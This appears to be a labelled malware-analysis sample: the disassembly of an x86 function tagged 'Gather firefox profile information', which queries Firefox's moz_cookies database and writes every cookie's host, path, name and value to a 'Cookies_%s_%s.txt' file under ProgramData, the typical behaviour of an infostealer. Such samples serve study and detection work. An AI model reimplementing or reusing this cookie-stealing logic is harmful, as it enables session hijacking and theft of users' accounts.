Function at 0x412341
Capabilities:
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x448674]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x220], eax
mov eax, dword [ebp + 0xc]
mov esi, 0x104
push esi
mov dword [ebp - 0x230], eax
lea eax, [ebp - 0x110]
push 0
push eax
mov ebx, ecx
mov edi, edx
call fcn.004289a0
add esp, 0xc
push str.C:ProgramData_
lea eax, [ebp - 0x110]
push eax
call dword [0x44b234]
push 0x1a
pop eax
call fcn.00418e55
push eax
lea eax, [ebp - 0x110]
push eax
call dword [0x44b234]
push 1
lea eax, [ebp - 0x110]
push eax
push ebx
call dword [0x44b0dc]
push esi
xor esi, esi
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.004289a0
add esp, 0xc
push edi
push dword [ebp - 0x220]
lea eax, [ebp - 0x218]
push str.Cookies_s__s.txt
push eax
call dword [0x44b088]
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x110]
push eax
call dword [0x44b058]
add esp, 0x18
test eax, eax
jne 0x412632
push esi
lea eax, [ebp - 0x21c]
push eax
push 0xffffffffffffffff
push str.SELECT_host__isHttpOnly__path__isSecure__expiry__name__value_FROM_moz_cookies
push dword [ebp - 0x228]
call dword [0x44b00c]
add esp, 0x14
test eax, eax
jne 0x412618
push 0xf423f
push esi
call dword [0x44b290]
push eax
call dword [0x44b218]
push dword [ebp - 0x21c]
mov ebx, eax
call dword [0x44b028]
pop ecx
cmp eax, 0x64
jne 0x4125f7
mov esi, 0x4420e0
push 0
push dword [ebp - 0x21c]
call dword [0x44b048]
push 1
push dword [ebp - 0x21c]
mov dword [ebp - 0x238], eax
call dword [0x44b048]
push 2
push dword [ebp - 0x21c]
mov edi, eax
mov dword [ebp - 0x220], edi
call dword [0x44b048]
push 3
push dword [ebp - 0x21c]
mov dword [ebp - 0x22c], eax
call dword [0x44b048]
push 4
push dword [ebp - 0x21c]
mov dword [ebp - 0x224], eax
call dword [0x44b048]
push 5
push dword [ebp - 0x21c]
mov dword [ebp - 0x240], eax
call dword [0x44b048]
push 6
push dword [ebp - 0x21c]
mov dword [ebp - 0x234], eax
call dword [0x44b048]
add esp, 0x38
push 0x441aa8
push edi
mov dword [ebp - 0x23c], eax
call dword [0x44b264]
test eax, eax
jne 0x412505
push str.TRUE
jmp 0x41250a
push str.FALSE
push dword [ebp - 0x220]
xor eax, eax
stosd dword es:[edi], eax
call dword [0x44b234]
mov edi, dword [ebp - 0x224]
push 0x441aa8
push edi
call dword [0x44b264]
test eax, eax
jne 0x412536
push str.TRUE
jmp 0x41253b
push str.FALSE
push dword [ebp - 0x224]
xor eax, eax
stosd dword es:[edi], eax
call dword [0x44b234]
push dword [ebp - 0x238]
push ebx
call dword [0x44b234]
push esi
push ebx
call dword [0x44b234]
push dword [ebp - 0x220]
push ebx
call dword [0x44b234]
push esi
push ebx
call dword [0x44b234]
push dword [ebp - 0x22c]
push ebx
call dword [0x44b234]
push esi
push ebx
call dword [0x44b234]
push dword [ebp - 0x224]
push ebx
call dword [0x44b234]
push esi
push ebx
call dword [0x44b234]
push dword [ebp - 0x240]
push ebx
call dword [0x44b234]
push esi
push ebx
call dword [0x44b234]
push dword [ebp - 0x234]
push ebx
call dword [0x44b234]
push esi
push ebx
call dword [0x44b234]
push dword [ebp - 0x23c]
push ebx
call dword [0x44b234]
push 0x43f74c
push ebx
call dword [0x44b234]
push dword [ebp - 0x21c]
call dword [0x44b028]
pop ecx
cmp eax, 0x64
je 0x41245d
push ebx
call dword [0x44b128]
push 3
push eax
lea eax, [ebp - 0x218]
push eax
mov eax, dword [ebp - 0x230]
mov ecx, ebx
call fcn.00420263
add esp, 0xc
push dword [ebp - 0x21c]
call dword [0x44b02c]
pop ecx
push dword [ebp - 0x228]
call dword [0x44b05c]
pop ecx
lea eax, [ebp - 0x110]
push eax
call dword [0x44b134]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420e82
leave
ret